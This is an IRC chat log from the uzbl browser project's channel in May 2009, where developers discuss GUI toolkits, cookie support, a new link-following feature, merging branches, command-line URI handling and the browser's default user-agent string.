17:16 < _19LIONZ_> Dieterbe_: ok thanks . I thought they are used in a speeddial-like feature
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17:19 < barrucadu> Hi
17:21 < Dieterbe_> hey mike
17:23 < ruskie> Dieterbe_, by that I meant that one of my work collegues assumed that's what uzbl means ;) usable :)
17:25 < Dieterbe_> ruskie: one of your colleagues is right :) congratulate him from me :)
17:25 < Dieterbe_> (or her)
17:25 < ruskie> :)
17:26 < ruskie> he even said he'll give it a try sometime... he tends to do a lot of webapps so he does a lot of testing in various browsers
17:27 < ruskie> so cookies still not there?
17:27 < ruskie> as forssl considering how hackish I have that setup with kazehakase I'm not all that much phased...
17:28 < Dieterbe_> phased?
17:28 < Dieterbe_> cookies could maybe be done tonight
17:28 < barrucadu> On the forums dimigon suggested we drop GTK and use Xlib
17:28 < ruskie> lol
17:28 < ruskie> I think everyone will be suggesting that
17:28 < barrucadu> I haven't used many xlib-only things but isnt it… incredibly ugly? :p
17:29 < ruskie> fvwm as an example ;)
17:29 < lwi> dwm :P
17:29 < ruskie> anyway since webkit has stuff in gtk I dont see why dropping gtk would help any
17:29 < ruskie> still need it for webkit
17:29 < Dieterbe_> jep
17:30 < Dieterbe_> unless you wanna fork webkit :/
17:30 < lwi> its not webkit but the binding
17:30 < ruskie> I wnder how long 'till there's a uzbl-qt option ;)
17:30 < lwi> and there is a webkit-qt binding next to gtk one
17:30 < anydot> Well, whole uzbl is toolkit independent, sort of.
17:30 < anydot> The core.
17:31 < ruskie> lwi, iirc it also renders the widgets in whatever toolkit the bindings are in
17:31 < anydot> Today, the only thing truly dependent is statusbar thingie :)
17:31 < ruskie> i.e. buttons and so on
17:31 < Dieterbe_> well if someone could pull it off to still use webkit but have everything (including html forms etc) in Xlib widgets.  I would have much respect for that and would maybe even use it. But qt.. meeh
17:31 < lwi> yeah
17:31 < lwi> xlib has no advanced widgets
17:31 < anydot> webkit-x11 would be indeed very cool.
17:31 < ruskie> I'm guessing xlib/xcb would need upstream webkit support first ;)
17:32 < lwi> indeed theres no xlib/xcb binding for webkit
17:32 < ruskie> I doubt there ever will be
17:33 < anydot> Possible no.
17:33 < ruskie> maybe an EFL binding but xlib/xcb... doubtful
17:33 < anydot> EFL?
17:33 < ruskie> enlightenment fundation libs
17:33 < anydot> ah
17:33 < Dieterbe_> dear god no
17:33 < anydot> They have even toolkit?
17:33 < ruskie> rofl?
17:33 < ruskie> there's etk iirc
17:34 < ruskie> and also ewl
17:34 < ruskie> and edje
17:34 < ruskie> not sure which is still going
17:34 < ruskie> but EFL would probably as light as xlib/xcb
17:34 < anydot> Sory, but I was never into E*
17:35 < Dieterbe_> ruskie: well, there's a challenge :P
17:36 < ruskie> ehh someone will make it probably
17:36 < ruskie> Im no C coder
17:36 < ruskie> I do shell scripts
17:36 < ruskie> a bit of ruby here and there
17:37 < ruskie> could probably do some simple C or even Java...
17:38 < anydot> Remind me that foto, "will code html for food". :-)
17:38 < ruskie> *shudder*
17:38 < Dieterbe_> ruskie: do you have some examples i could look at ? programs that use it? i would like to see some screenshots of apps using the efl widgets
17:38 < ruskie> not a fan of *ML
17:39 < anydot> http://www.html4.com/mime/jpg/Will_code_HTML_for_food.jpg
17:39 < anydot> Here it is.
17:39 < anydot> Oldie but goldie.
17:40 < ruskie> Dieterbe_, I'll try finding some... been a while since I looked at anything E related
17:42 < _19LIONZ_> So , how is following links supposed to work ?
17:46 < ruskie> Dieterbe_, if it helps any: http://trac.enlightenment.org/e/screenshots/1
17:46 < ruskie> it's highly themable so...
17:47 < Dieterbe_> hmm isn't that as bloaty as gtk or qt?
17:48 < ruskie> you haven't seen rastermans code I guess
17:48 < ruskie> it's all C and all highly optimised
17:49 < ruskie> E was always light
17:49 < Dieterbe_> i see. well i would love to have webkit using widgets from a lightweight lib
17:49 < Dieterbe_> but i don't think that will happen
17:49 < Dieterbe_> just not enough interest
17:50 < ruskie> http://codeposts.blogspot.com/2008/12/webkit-efl-receives-its-first-patch.html
17:51 < ruskie> apparently it's been even done and works
17:51 < Dieterbe_> heh
17:53 < ruskie> mmm investment in the 6600mAh battery for the eeepc 701 was worth it...
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17:56 < Dieterbe_> whoa 34 nicks. a new record :)
17:56 < ruskie> yay
18:03 < anydot> @channelstats
18:03 < dev_null> anydot: On #uzbl there have been 5869 messages, containing 263183 characters, 47278 words, 795 smileys, and 318 frowns; 76 of those messages were ACTIONs.  There have been 224 joins, 46 parts, 167 quits, 0 kicks, 7 mode changes, and 1 topic change.
18:03 < ruskie> @version
18:03 < dev_null> ruskie: The current (running) version of this Supybot is 0.83.1 (ShadoW's tweaks).  The newest version available online is 0.83.3.
18:04 < anydot> Somewhere there's even top for nicks ;)
18:04  * ruskie prefers rbot
18:04 < anydot> It's not mine.
18:04 < anydot> Mine bot is custom bot written in perl. :-)
18:04 < ruskie> :)
18:04 < Dieterbe_> hmmm 224 joins - 167 quits != 34 nicks in channel
18:05 < anydot> Of course.
18:05 < anydot> You must counts even part.
18:05 < anydot> And, there's problem how to count netsplit, of if bot die's with error, etc.
18:05 < anydot> @calc 224 - 167 - 46
18:05 < Dieterbe_> ah yea
18:05 < dev_null> anydot: 11
18:06 < anydot> And also, what if someone part/quit after bot joined, so bot doesn't see the join ... etc
18:06 < anydot> It's not mean to be precise, to sum up to zero.
18:06 < anydot> aah.
18:06 < anydot> @peak
18:06 < dev_null> anydot: sm217 set a record of 34 people in #uzbl on May 05, 2009 at 03:53 PM CET. You'll need 1 more person to break the peak.
18:07 < anydot> That's what I was searching for. :-)
18:10 < Dieterbe_> i'm driving home. see you soon guys
18:10 < ruskie> enjoy
18:10  * ruskie is enjoying a 3g connection waiting for mom to finish something...
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18:14 < lwi> is downloading files supposed to work?
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18:20 < ruskie> off
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19:02 < Dieterbe_> merging time!
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19:03 < Dieterbe_> @peak
19:03 < dev_null> Dieterbe_: sm217 set a record of 34 people in #uzbl on May 05, 2009 at 03:53 PM CET. You'll need 1 more person to break the peak.
19:06 < sm217> huh
19:22 < ruskie> *yawn*
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19:29 < sm217> lol, I'm partially rewriting cookies stuff
19:32 < sm217> it will no to cookieJar dances, but will cleanly catch any cookies to be recieved or sent.
19:32 < sm217> *will not do
19:35 < rob|> added sexy ascii progressbar to the statusbar template, http://omploader.org/vMW1tag
19:35 < rob|> ;)
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19:36 < sm217> <3
19:37 < sm217> hmm
19:38 < sm217> I wonder if soup "requst" signals emit on sending or recieving things, or both?
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19:50 < barrucadu1> Hmm, settings_init() is a monster function. I'll try to tidy it up
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20:01 < Dieterbe_> ruskie: that is quite sexeh indeed
20:02 < Dieterbe_> http://thorwil.wordpress.com/2009/05/05/uzbl-4/
20:03 < Dieterbe_> Dieterbe_> ruskie: that is quite sexeh indeed <-- sorry i meant rob| 
20:03 < rob|> barrucadu: on which branch are you working?
20:04 < rob|> does the cat have any deeper meaning?
20:06 < Dieterbe_> yes :))
20:07 < rob|> tell me more ;)
20:09 < Dieterbe_> icanhascheezburger.com
20:09 < barrucadu> rob|: My branch
20:09 < barrucadu> Dieterbe_: The third cat is the best :)
20:09 < rob|> barrucadu: yeah, but it it based on dieter's experimental branch?
20:09 < barrucadu> rob|: yes
20:10 < rob|> ok, just wanted to make sure
20:10 < Dieterbe_> i prefer the first. the others seem to "fancy"/bloated/radioactive
20:10 < sm217> lol, 'bl' in first one is so much like russian 'ы'
20:10 < Dieterbe_> oh it's not about the text in the balloon btw, that will change anyway
20:11 < rob|> sm217: how would that be pronounced?
20:11 < sm217> hmm
20:11 < jouz> anybody here configured Xdefaults to open links from urxvt with uzbl?
20:11 < jouz> urxvt*urlLauncher:        /usr/bin/uzbl --uri
20:11 < jouz> thats did not work
20:11 < sm217> rob|: lol, but I just cannot explain
20:14 < rob|> heh, ok.
20:14 < sm217> maybe my grammar is not enough.
20:16 < anydot> Well, why should be there that ... cat?
20:16 < sm217> http://www.omniglot.com/writing/russian.htm
20:21 < sm217> well, after some thinking I think that first logo variant fits best.
20:23 < rob|> please also provide a xbm version, we're supposed to going lightweight anyways :P
20:23 < rob|> xbm 8x8 that is
20:23 < sm217> omg.
20:23 < ruskie> if it's svg it can be converted to anything in the end :)
20:24 < sm217> b
20:24 < sm217> oh
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20:24 < rob|> ruskie: sure, though i doubt that would look good
20:25 < rob|> http://dzen.geekmode.org/dwiki/doku.php?id=dzen:icon-packs  <-- sm4tik's icons, i like that look a lot
20:25 < rob|> see there's even a ff icon ;)
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20:29 < github> uzbl: Dieter Plaetinck experimental SHA1-19a3117
20:29 < github> note about webkit/EFL
20:29 < github> http://bit.ly/u5s5o
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20:31 < sm217> :(
20:31 < rob|> i'm not so sure about efl, that's work in progress since a couple of years
20:31 < rob|> if i'm not mistaken
20:31 < sm217> now I know what writing code before learning things leads to.
20:32 < rob|> into stupid search and replace work? :p
20:32 < ruskie> rob|, they have a working browser from what I can tell from that post ;)
20:33 < rob|> well, they had a couple of working things before the api changed once again :(
20:33 < ruskie> lol
20:34 < sm217> rob|: into rewriting things :P
20:35 < sm217> my cookie handling approach was terribly wrong
20:36 < ruskie> ?
20:36 < sm217> but now I have a right prototype
20:40 < sm217> ruskie: see what changed: http://github.com/sm217/uzbl/commit/cc3a1419a12c01c2cabd87da99cc4464f715d196
20:43 < ruskie> hmm gtk-server might be usable for that...
20:43 < sm217> for what?
20:45 < ruskie> the TODO in the script
20:46 < ruskie> the MAYBE TODO at that ;)
20:47 < sm217> ah
20:47 < sm217> well, I see no sense in that :)
20:48 < ruskie> not to mention: dependencies gtk-server -> ffcall gtk+2 vs dependencies zenity gtk+2 libglade2 libgnomecanvas libnotify
20:48 < sm217> heh.
20:53 < ruskie> and don't see why there would be an issue getting to edit before saving
20:54 < ruskie> with zenity
20:54 < ruskie> you would just need more logic in the script and a call to $EDITOR or $XEDITOR
21:00 < Dieterbe_> sm217: hey what's the current state of the cookie code?
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21:22 < Dieterbe_> http://thorwil.wordpress.com/2009/05/05/uzbl-5/
21:24 < Sleepy_Coder> The cat freaks me out.  *hides*
21:25 < Dieterbe_> :)
21:25 < Dieterbe_> you should have seen fogobogo's cat :P
21:30 < ruskie> lol
21:30 < ruskie> both cats are nice
21:30 < ruskie> but something usability related might be better
21:30 < ruskie> cats != usability ;)
21:31 < dodobas> cats = indiffernce :D
21:32 < ruskie> most of the time yeah ;)
21:36 < Dieterbe_> well not this one :P
21:39 < sm217> Dieterbe_: it is being rewritten :<
21:41 < sm217> but I'm on the right way now.
21:42 < sm217> Dieterbe_: hmm, your script seems to only support one key-value pair
21:43 < Dieterbe_> that would be a bug in my script :)
21:43 < Dieterbe_> i wrote it without testing basicaly
21:44 < sm217> to fix that, only an additional '>' is needed :P
21:44 < sm217> so it will add each pair on a new line
21:44 < sm217> and so I can parse that in-program
21:45 < sm217> (on line 50)
21:47 < Dieterbe_> well i assume you pass me all lines at once
21:47 < Dieterbe_> so i can just write all lines at once to the file
21:48 < sm217> and what if there are additional cookies?
21:49 < Dieterbe_> i did not think of that yet :))
21:49 < sm217> ok, I'll fix that on need.
22:08 < sm217> hmm
22:12 < sm217> so far I do send cookies to handler
22:12 < sm217> but they are not saved :E
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22:23 < sm217> http://github.com/sm217/uzbl/tree/cookies - committed what I have now. Dieterbe_ if you want, you can test your script on saving cookies with that.
22:29 < sm217> b00m!
22:29 < jouz> http://pastie.org/469093 <- just in case someone would like to try the basic link following, just add these two lines to your config, and ensure that you have the latest experimental from dieterbe. (no uzbl.c editing required!)
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22:34 < dusanx> jouz: great job!
22:35 < dusanx> see? we need no stinkin' C dom :)
22:36 < jouz> dusanx: :D indeed, but there is much place for improvement. I can even imagine to get the proposed link-following-style to work (wItH highLiGhteD LettErs)
22:37 < jouz> Only (and most importantly) now just textlinks with proper href="" work...
22:37 < dusanx> jouz: absolutely, tons of things left but this proves that it can be done ;)
22:37 < jouz> We need this click() thingy on all elements ;)
22:38 < dusanx> yup and highlighting of only visible elements on the page
22:38 < dusanx> but it works!
22:38 < jouz> aye
22:39 < dusanx> also need something bit more interactive, I was already thinking to add 'interactiveness' to search and following
22:40 < jouz> yeah this is going to be a bit more difficult, because you would have to call a js-func each time you hit a key...
22:40 < dusanx> for example: pressing 'f' would number all links, typing would select only possible follows etc
22:40 < jouz> dusanx: yep that would be ideal
22:42 < dusanx> what about JS that removes all highlights and numbers only those that have same number/letter as JS parameter? Just discussing, I know that we are far away from final
22:42 < jouz> but with the current function<->parameter feature, its hard to implement to call that function on every keypress?!... (or i'm just not seeing it)
22:42 < dusanx> So you would type f124 and uzbl will execute JS with no parameter, JS 1, JS 12, JS 124?
22:43 < dusanx> not a big problem, we can add interactive flag with key definition
22:43 < dusanx> it would be */_ for search and *f_ for links...
22:43 < jouz> that would make it easy for me  i think :)
22:44 < dusanx> not yet but can be done in few C lines
22:44 < jouz> awesome!
22:44 < dusanx> jouz: great, let me play with this :)
22:44 < Dieterbe_> okay lets see
22:44 < dusanx> this is great, can be used already
22:45 < jouz> (notice that toggle the hints works as well)
22:45 < dusanx> jouz: wow :)
22:46 < dusanx> this is good skeleton ;)
22:48 < jouz> :)
22:48 < dusanx> shit I can really use this :)
22:48 < Dieterbe_> cool indeed. very basic but works :)
22:48 < Dieterbe_> too bad we can't emulate click()s though
22:49 < jouz> Dieterbe_: ....yet ;)
22:50 < Dieterbe_> jouz: if you push this in your tree i'll merge it in
22:50 < Dieterbe_> but add a note that's just not final, there is room for improvement etc
22:53 < jouz> Dieterbe_: before we add this, do you maybe see an alternative to writing scripts bind via S = script [JS] into one big unreadable line?
22:54 < jouz> (without loosing the ability to use _ %s as parameter?)
22:54 < Dieterbe_> jouz: well maybe we could have script <script here> to define scripts in the config file itself + load-script <filename> to load JS from files
22:55 < Dieterbe_> it *should* also be possible with the %s
22:55 < Dieterbe_> jouz: but please, just commit it now. it's better then what we have now and we'll document that it's work in progress
22:55 < Dieterbe_> but it's good to have
22:55 < dusanx> yes, this script will be pretty big at the end
22:55 < Dieterbe_> to get an idea of what's possible
22:55 < jouz> Dieterbe_ Okay okay! :)
22:56 < dusanx> going to sleep, see you all tomorrow
22:59 < Dieterbe_> jouz: faster ! :D
23:00 < Dieterbe_> jouz: i want to go to sleep so hurry :)
23:00 < jouz> :D kk
23:02 < jouz> pushing...
23:04 < Dieterbe_> pulling..
23:05 < Dieterbe_> wtf.. 2100 lines diff. I can't merge this.
23:05 < Dieterbe_> i'll just put it in there myself and credit you
23:06 < jouz> oO
23:06 < jouz> cant be
23:06 < jouz> http://github.com/jouz/uzbl/commit/53ec9eb51cfc3b88fc2c1c7678d106040a65250d
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23:07 < Dieterbe_> i dunno maybe it has been a while since you merged in the latest stuff into your code base
23:07 < jouz> hmm actually, i just made a whole new fork of uzbl because of that...
23:08 < jouz> you pulled my experimental or my master?
23:09 < jouz> whatever do whats easiest for you :) i'll go to sleep as well
23:10 < Dieterbe_> jouz: is it still the same code as on pastie?
23:10 < jouz> yep
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23:13 < github> uzbl: Dieter Plaetinck experimental SHA1-ffe2843
23:13 < github> link following from Jan Kolkmeier (jouz)
23:13 < github> http://bit.ly/WSuR7
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23:14 < Dieterbe_> good night all
23:16 < jouz> good night
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23:32 < bstronga> wow link following has been implented?
23:49 < fogobogo> Dieterbe_: there http://omploader.org/vMW1odQ
23:50 < fogobogo> only 2 1/2 hours later
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00:19 < barrucadu> Wow, we have link following :D
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00:57 < rob|> http://omploader.org/vMW1vcg
01:25 < cdarwin> is there a config option to hide the scroll bar or do I need to pull that out of uzbl.c?
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01:26 < cdarwin> also, what is this "link following"; it is for pasting urls into the browser?
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01:34 < rob|2> cdarwin: you can turn it off, yes. i suppose it's meant to be something like vimperator's link hinting
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01:51 < cdarwin> rob|2: what is the url to git clone the main experimental branch?
01:52 < cdarwin> that github website is a mess imo
01:53 < cdarwin> i could just try dieterbe/uzbl/experimental ... that seems logical enough
01:54 < cdarwin> and fail
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07:02 < dusanx> 'morning :)
07:32 < ruskie> cdarwin, git clone as-master then git checkout -b experimental origin/experimental
07:32 < ruskie> good morrow all
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08:08 < dodobas> yello
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09:07 < Dieterbe_> cdarwin: there are no scrollbars in uzbl. unless you have a VERY old build. did you mean the statusbar?
09:08 < Dieterbe_> @peak
09:08 < dev_null> Dieterbe_: barrucadu1 set a record of 36 people in #uzbl on May 05, 2009 at 05:35 PM CET. You'll need 5 more people to break the peak.
09:10 < ruskie> yay
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10:31 < rob|> morning
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10:46 < Dieterbe_> hey rob| 
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11:35 < sm217> Hi.
11:37 < sm217> guys, I'm sorry but I wasn't able to finish cookies support and now I'm leaving for three weeks. for now only storing them is implemented, in my 'cookies' branch - in case someone wants to continue with them.
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11:52 < rob|> http://github.com/robm/uzbl/commit/ef4b3ca77a3a71b5de606b96b18ff6620e8b16c5
11:54 < Dieterbe_> rob|: sorry i didn't have time yesterday to give the "just use a function with does a str_replace for each variable" approach a shot
11:56 < rob|> well, i think that will get ugly if the template entries can take arguments (e.g. define the width of the progress bar, etc.)
11:56 < rob|> the lexical scanner allows a much cleaner definition and handling
12:02 < Dieterbe_> hmm k, i'll give that thing a better look then
12:05 < rob|> ok
12:06 < rob|> i also think that we should move mainbar and mainbar_label to the StatusBar struct and just name them "bar" and "label" if that's ok with you
12:07 < rob|> and access them with "uzbl.gui.sbar.label", ...
12:13 < Dieterbe_> hmm the mainbar and label were put on the statusbar, right? (making the statusbar just a container for these two). if so, yes that would make more sense
12:15 < rob|> right, though i'll wait until you looked over the code with more fancy additions.
12:16 < rob|> i'd also like to pack certain parts of the template into own widgets, so we can better align them and more importantly update contents independed of each other
12:16 < dusanx> Dieterbe_: can you merge my cookies code until you finish them? I need cookies since uzbl is my main browser and I will lose sync if you don't.
12:21 < Dieterbe_> dusanx: well, last time i checked the "store cookies with uzbl itself" functionality was still in there, which i didn't like
12:23 < dusanx> Dieterbe_: you should understand that as temporary solution before we got proper ones. You are forcing me to leave this project?
12:24 < Dieterbe_> dusanx: lol, of course not
12:24 < Dieterbe_> i'm just saying that in the "official tree" i will only merge things that i think belong in there
12:24 < Dieterbe_> we could keep your patch, put it in a separate branch or so, *maybe* we _could_ use it later
12:25 < rob|> we need a better, more detailed roadmap to avoid such confusion
12:25 < dusanx> Dieterbe_: well I can't use uzbl without them, proper cookies are still few days away. If I don't sync with you for some time I will lose sync completely. I understand that you don't use uzbl only but I do and don't want to lose them right now.
12:25 < rob|> and people could pick tasks they want to work on
12:25 < dusanx> rob|: absolutely
12:27 < Dieterbe_> dusanx: well if you can't wait, then maintain an extra branch. it's simple with git
12:28 < dusanx> Dieterbe_: you must admit that 4 lines of code don't put some weight there, we might disagree about few options (on most we do) and you are the boss but leaving something like this out is only because people might like it. Don't want to complicate things but I have no use for cookies policy so I am still not use why not offer alternatives?
12:29 < dusanx> use=sure
12:31 < Dieterbe_> well, i don't think there is nothing wrong with offering an alternative it it has advantages over the main approach. but first i want to at least TRY the main approach and see how it works before working on alternatives
12:31 < Dieterbe_> i think there is nothing wrong*
12:32 < dusanx> Dieterbe_: agreed but we might have bigger user base already and switch to proper cookies when they are ready. uzbl currently lacks nothing but cookies and that's what may stop people from using it right now.
12:33 < dusanx> I for one would try new cookies as soon as they are ready. Killed xulrunned, conkeror and firefox you know so I can't wait :)
12:33 < rob|> it lacks the ability to diasbale flash and js ;)
12:33 < dusanx> rob|: disable flash and JS can be 10 minutes job
12:33 < dusanx> there is proper call to enable parts of content
12:34 < rob|> imo that should be done and exported to a statusbar variable, so users can catually what they have enabled/disbaled
12:34 < Dieterbe_> dusanx: hmm, you have somewhat of a point there.  though i don't understand why people would use a cookie support over which they have no control.  besides, the persistent storage of cookies with the external script is quite easy.  people will have to wait a few days
12:34 < rob|> *actually see
12:35 < dusanx> rob|: I was trinking about global status(es?) for content and function to enable/disable them locally
12:36 < dusanx> Dieterbe_: publish early is good strategy. Make it usable asap and then make it better may be smart too.
12:37 < dusanx> as long as we don't break something in the process... I don't love my cookies or make noise because it's my code (copied from some example) but small fixes like this one are important to allow people to use it.
12:37  * rob| seconds that
12:37 < dusanx> plus easy to remove as soon as we have something proper
12:37 < Dieterbe_> dusanx: true, but fixing the script takes me about the same time as merging and testing the glib persistent storage stuff.  This is not something that will take a long time to implement. we're talking a bout a few hours here
12:37 < dusanx> ok
12:38 < dusanx> just for a record, I never control cookies, just delete them sometimes. So having cookie policy is not something that would sell me external script. Talking theoretically.
12:39 < Dieterbe_> what is most important for me is working cookie code (without persistent storage) that i can easily merge in. I think i tried merging in sm217's code yesterday but it was a 2000+ lines diff
12:39 < dusanx> nor having them encrypted. If somebody can access my uzblcookies.txt I am doomed anyway...
12:40 < dusanx> I would help but I have no idea how cookes work in the first place... having fire & forget cookies is more than enough for me
12:41 < dusanx> otoh this is first time I realized that rob| and others may want better flash/script control. If that sells uzbl I will see what can be done.
12:41 < Dieterbe_> actually i tried mergin from several people (i think also jouz, rob| and sm217) but the diffs all contained stuff that was *way beyond* their actual changes. i wasn't able to merge in anything at all yesterday IIRC, the main cause being people need to merge from me more regularly and keep the diff as small as possible
12:42 < rob|> well, i try to set regular "push points" so you could merge at any of them, though merging with dieter's experimental wnet without a glitch yesterday
12:42 < dusanx> Dieterbe_: I can merge from you as soon as we have proper cookies -- may take two hours or several days. There is no going back for me anyway. I kept w3m just in case and using uzbl, no other browser on my PC.
12:43 < jouz> Dieterbe_: that is wierd, as i said last night, i made a new, fresh fork, before you tried to merge mine yesterday
12:45 < jouz> dusanx: that is pretty brave ;). But indeed, only thing keeping me away from using uzbl full-time are missing cookies (and the fact that i cant launch uris in uzbl from terminal :( )
12:46 < Dieterbe_> dusanx: that's the problem.  why do you wait? in normal software projects contributors make sure that their patches apply cleanly to the most recent code.  I am already quite "reasonable" when merging in (sometimes code is not tested enough, code needs cleaning up, sometimes i have to fix conflicts) but I find that okay because uzbl moves so fast, but don't "abuse" my willingness.
12:47 < rob|> jouz: for the latter, echo 'uri foobar' > /tmp/fifoname
12:47 < dusanx> jouz: that's what I am talking to the boss.
12:47 < Dieterbe_> jouz: that's weird indeed.  i suggest we look at the problem tonight again. maybe we can find out what went wrong
12:47 < rob|> jouz: by setting the "-n <name>" option you can even have a consitent naming theme for the fifo files
12:48 < dusanx> Dieterbe_: I don't know git, remember. All this time I merged from you, made changes and pushed so you can merge. What will happen if I try to merge from you?
12:49 < Dieterbe_> dusanx: the more frequent you merge from me, the less problems you have.  waiting for me to merge from you, resolve all the conflicts, so you can do a clean pull is not the optimal strategy
12:49 < jouz> rob|: i would like to spawn a new instance. why doesn't *urlLauncher: "/usr/bin/uzbl --uri" in Xdefaults work?
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12:49 < dusanx> Dieterbe_: well that's what I did so far because I don't know any other way
12:50 < rob|> jouz: http://omploader.org/vMW1vcg  see the statusbar bit "shell" and the terminal on the lower right
12:51 < rob|> jouz: ah, ok. not sure about that
12:51 < jouz> rob|: ah you misunderstood me! i use urxvt which can match urls and make them clickable.
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12:55 < rob|> jouz: doing that from the shell works, probably some other issue there
12:56 < jouz> rob|: yeah i guess its s.th. with the parameters. can't we do it that if no flag is given, the last parameter is assumed to be the uri? such that "uzbl www.uzbl.org" works as well?
12:57 < jouz> or i just write a script uzblurl which prepends the --uri flag...
12:58 < dusanx> jouz: that's good idea, I needed that yesterday
13:00 < rob|> i guess we shouldn't persist too heavily on all that philosophy thing but actually create something usable, as the browser's name suggests :p
13:00 < Dieterbe_> why is uzbl <uri> better then uzbl --uri <uri> ?
13:00 < dusanx> rob|: that was my idea too
13:01 < rob|> Dieterbe_: cause it seems to break with some usage scenarios that are often used
13:02 < Dieterbe_> such as?
13:02 < rob|> jouz's one
13:02 < jouz> Dieterbe_ rob|: i thought that would have been the cause, but with my script it does not work, either :(
13:03 < rob|> strange, does it work with ff or other browsers?
13:03 < jouz> yes
13:03 < jouz> opera firefox midori... everything works
13:03 < rob|> hmm, that's odd
13:04 < Dieterbe_> i think i have seen a post about this on the forums
13:06 < jouz> Dieterbe_: in the uzbl thread?
13:07 < Dieterbe_> yea
13:14 < Dieterbe_> i still don't understand why uzbl <uri> would be better then  uzbl --uri <uri> btw
13:17 < jouz> yeah with that i was probably wrong. but on hte other hand, dont you think a browser should take an uri in the parameters without a flag? I expect that (maybe because i'm used to do it "$browser <uri>")
13:18 < Dieterbe_> yeah it could be an option
13:19 < rob|> right, that's like vim needing a --file option to open a file
13:19 < Dieterbe_> uhu. patch welcome :)
13:19 < dusanx> I had same problem the other day, needed to make uzbl default browser for local files and I am using thunar
13:20 < dusanx> ok, I'll add patch and adding file:// instead of http:// when you try to open local file
13:20 < dusanx> what is criteria? if there is one parameter and it's not --help?
13:21 < rob|> dusanx: check if file:// works first, i had some glib error saying that the file i wanted to load (uzbl's RADME) is not a file (wtf?)
13:21 < dusanx> rob|: works, tried it
13:23 < rob|> hmm, doesn't work for me: "uzbl --uri file://README"  --> "g_file_read_async: assertion `G_IS_FILE (file)' failed
13:23 < rob|> from within uzbl's source tre
13:23 < rob|> e
13:23 < dusanx> rob|: you need complete path so --uri file:///home/rob...
13:23 < cdarwin> Dieterbe_: I think it was gmail adding its own scroll bar, that was the only place I've seen it
13:24 < dusanx> rob|: and probably three slashes if you go from root
13:24 < rob|> nope, same thing
13:25 < ruskie> rob|, try --uri file://$PWD/README
13:25 < ruskie> if you're in the same dir as README
13:25 < ruskie> that generally works for me on any browser and I use it a lot with kazehakase...
13:25 < dusanx> works here, $PWD is good too
13:25 < ruskie> infact I have no probs writing it always
13:25 < ruskie> don't really need any special handling there myself
13:25 < rob|> strange, neither method works for me
13:26 < ruskie> odd
13:26 < ruskie> works here just fine
13:26 < dusanx> yup, works with $PWD too
13:27 < ruskie> I never expect for: $PWD/file to just work in a browser though...
13:27 < ruskie> since browsers are designed to handle URLs
13:28 < ruskie> btw will there be support for configuring mailto: and other URIs?
13:30 < dusanx> hmm, mailto really does not work
13:30 < dusanx> rob|: you don't have uzbl alias by any chance?
13:30 < dusanx> that breaks normal uzbl functioning?
13:30 < rob|> no
13:32 < rob|> though, i wonder why that error message mentions "file" and not "README" must be some parsing problems with that option
13:40 < rob|> does link following work for you?
13:40 < rob|> it seems to break the shortcut handler
13:41 < rob|> i.e. after issuing "F" (sampleconfig-dev) no further keys are being recognized
13:43 < dusanx> no, works for me
13:43 < rob|> hmm
13:43 < rob|> you're running dieter's experimetal, right?
13:46 < rob|> lol, now it wors
13:46 < rob|> strangeo
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14:00 < Dieterbe_> ruskie> btw will there be support for configuring mailto: and other URIs? -> we should *definitely* have that, yes
14:03 < rob|> good thing i checked that, missed to add KEYCMD to the statusbar template - done now. http://omploader.org/vMW1zNA
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14:42 < dusanx> sun is shining, going to long walk with my wife, see you all tonight
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15:40 < _19LIONZ> Link following == nice
15:40 < DuClare> iggly! ♥
15:41 < iggly> DuClare, uh, seems like i'm following you :--o
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16:13 < _19LIONZ> Alright , found a couple of annoyances in link following browsing Archlinux forum
16:14 < DuClare> Does uzbl have a working mode analogous to what was "always hint mode" in vimperator?
16:15 < DuClare> The one in vimperator never quite worked.. the old version was too slow, and in later versions it stopped working entirely.
16:16 < _19LIONZ> 1)a couple of link numbers are way far from real links (e.g mark all topics read)
16:17 < _19LIONZ> 2) When the real links are too close (e.g multiple-page forum thread) , link numbers overlap
16:30 < dpb> Dieterbe: you really should change the default useragent to something more common, what it has now will most likely break some sites.
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16:34 < ruskie> dpb, then sites should be fixed
16:34 < Dieterbe> dpb: suggestions welcome
16:34 < Dieterbe> yeah, and why would sites break?
16:34 < ruskie> there are sites that are stupid
16:34 < ruskie> try sending them an "" useragent and they'll start speving 500 errors
16:35 < dpb> and browser stats will be broken
16:35 < DuClare> Do we visit stupid sites?
16:36 < dpb> You don't even give any credit to webkit in your useragent, like all the other browsers do.
16:36 < dpb> This is what Qt/Webkit useragent gives: Mozilla/5.0 (X11; U; Linux; en-GB) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Qt/4.5.1
16:37 < ruskie> why does it give Mozilla?
16:37 < dpb> Because it's mozilla compatible
16:37 < dpb> Even IE shows Mozilla/5.0
16:37 < ruskie> this makes so little sense
16:41 < dpb> anyway, that's a good way to gain statistics on the web, if it doesn't even say the OS or engine, the useragent is pretty pointless.. leading to statistics being wrong.
16:42 < ruskie> only if you actually assume there's a proper useragent
16:43 < ruskie> in my case useragents tend to be random things
16:43 < dpb> Users who change useragents are idiots imo.
16:43 < ruskie> infact would be nice if I could generate a useragent by doing something like user-agent = $RANDOM
16:43 < ruskie> and have it change on each request
16:46 < cdarwin> dpb: the current snapshot in master _does_ have a decent user agent and gives credit to webkit
16:46 < cdarwin> there is even a suggestion to give more information commented just below
16:47 < cdarwin> [05/May/2009:22:40:32 -0400] "GET / HTTP/1.1" 200 862 "-" "uzbl (Webkit 1.1.6)"
16:47 < cdarwin> thats what my webserver (lighty) sees
16:49 < dpb> ah right, it does show webkit
16:50 < dpb> but that's a bit wrong imo, isn't that just the version of the GTK+ port of webkit?
16:53 < cdarwin> idk where it gets those %webkit-{major,minor,micro}% variables from, but your suggestion seems about right
16:53 < dpb> btw, I commented out the user-agent code in uzbl and it gives a more decent useragent by default
16:53 < dpb> Mozilla/5.0 (X11; U; Linux i686; en-gb) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) uzbl
16:54 < dpb> just misses the uzbl version number..
16:55 < dpb> of course an override option in the configs is quite nice, but imo if it's not defined, it shouldn't default to just that "uzbl (Webkit 1.1.6)"..
16:55 < cdarwin> yeap, just tried, same here "GET / HTTP/1.1" 200 862 "-" "Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) uzbl"
16:56 < cdarwin> so maybe having the option commented out by default would be better?
16:56 < dpb> that wont work, it still defaults to "uzbl (Webkit 1.1.6)"
16:57 < _19LIONZ> http://www.ip-adress.com/what_is_my_ip/
16:58 < dpb> oh wait, nvm
